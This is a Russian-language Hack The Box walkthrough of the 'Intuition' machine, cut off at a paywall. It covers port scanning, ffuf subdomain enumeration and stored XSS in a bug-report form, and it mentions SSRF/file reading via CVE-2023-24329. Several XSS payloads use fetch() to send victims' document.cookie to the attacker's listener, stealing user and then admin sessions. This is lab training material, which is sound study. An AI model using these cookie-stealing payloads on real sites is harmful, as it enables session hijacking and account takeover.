Содержание статьи
Наша цель — получение прав суперпользователя на машине Intuition с учебной площадки Hack The Box. Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.15 intuition.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Сканер нашел два открытых порта:
- 22 — служба OpenSSH 8.9p1;
- 80 — веб‑сервер Nginx 1.18.0.
Также отмечаем, что веб‑сервер на 80-м порте редиректит на домен comprezzor.
, поэтому добавим его в файл /
.
10.10.11.15 intuition.htb comprezzor.htb
Переходим к сайту на веб‑сервере и сразу получаем форму для загрузки файлов.
Точка входа
Ниже на странице есть ссылка на форму, куда можно отправлять информацию о найденных багах.
Ссылка ведет на сайт report.
, поэтому, прежде чем идти смотреть на него, снова добавим запись в файл /
.
10.10.11.15 intuition.htb comprezzor.htb report.comprezzor.htb
Так как мы уже нашли сайт на поддомене report
, есть смысл пробрутить поддомены по списку: так мы сможем найти еще больше сайтов, а соответственно, и больше точек входа. Подбирать поддомены будем с помощью утилиты ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-
-w
— словарь (я использую словари из набора SecLists); -
-t
— количество потоков; -
-u
— URL; -
-H
— HTTP-заголовок.
Место перебора помечается словом FUZZ.
Задаем все нужные параметры:
ffuf -u http://comprezzor.htb/ -H 'Host: FUZZ.comprezzor.htb' -w subdomains-bitquark-top100000.txt -t 256
В вывод программы попадают абсолютно все слова из списка, поэтому необходимо добавить фильтр, например по размеру страницы (параметр -fs
).
ffuf -u http://comprezzor.htb/ -H 'Host: FUZZ.comprezzor.htb' -w subdomains-bitquark-top100000.txt -t 256 -fs 178
Находим еще два поддомена. Обновляем запись в файле /
и наконец идем смотреть сайты.
10.10.11.15 intuition.htb comprezzor.htb report.comprezzor.htb auth.comprezzor.htb dashboard.comprezzor.htb
На auth.
нас встречает форма авторизации, а dashboard.
недоступен даже после регистрации и авторизации.
Куда интереснее форма отправки отчетов, так как ее можно потестировать на разные уязвимости.
По логике, если отчет кто‑то просматривает, мы можем попробовать проэксплуатировать уязвимость XSS. Для этого запустим локальный веб‑сервер:
python3 -m http.server
И отправим нагрузку, которая должна будет выполнить запрос на этот веб‑сервер.
<img src=x onerror='fetch("http://10.10.16.22:8000/test_xss")' />
На веб‑сервер пришел запрос, а значит, на сайте есть XSS. Недолго думая, попробуем стащить куки пользователя.
<img src=x onerror='fetch("http://10.10.16.22:8000/test_xss" + document.cookie)' />
В логах появляется длинная строка. Загружаем куки в браузер, пометив, что они предназначены для сайта dashboard, и переходим на этот сайт.
Точка опоры
Повышение привилегий
На странице мы можем смотреть сами отчеты, переходя по ссылкам в Report ID. При этом на странице самого отчета можно повысить его приоритет.
При повышении приоритета отчета, вероятно, его будет изучать уже администратор. А значит, мы сможем повторить трюк с XSS и получить cookie. Откроем отчет и повысим его приоритет, и, когда администратор перейдет к нему, мы получим его куки.
<img src=x onerror='fetch("http://10.10.16.22:8000/test_xss" + document.cookie)' />
Применяем куки в хранилище браузера Chrome и обновляем страницу. Теперь нам доступен другой дашборд, а также несколько новых функций.
Одна из интересных возможностей — это составление отчета в PDF по предоставленному URL.
Первой моей идеей было проверить, нет ли тут SSRF, и попробовать стащить локальные файлы через схему file://
. Правда, это результатов не дало.
Попробуем прислать тестовый запрос на свой листенер. Запустим его:
nc -nlvp 8000
Обрати внимание на используемую на сервере библиотеку — Python-urllib/
. Ее можно увидеть в HTTP-заголовке User-Agent
.
В этой библиотеке в прошлом году нашли уязвимость CVE-2023-24329.
Я поискал эксплоиты в Google и легко отыскал подходящий. Если URL будет начинаться с пробела, то мы сможем читать локальные файлы через «
.
LFI
Так как мы работаем с приложением на Python, хорошо бы взглянуть на исходный код. А для этого нужно знать, где в файловой системе находится приложение. Давай глянем файл /
— там содержится командная строка для текущего процесса.
Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее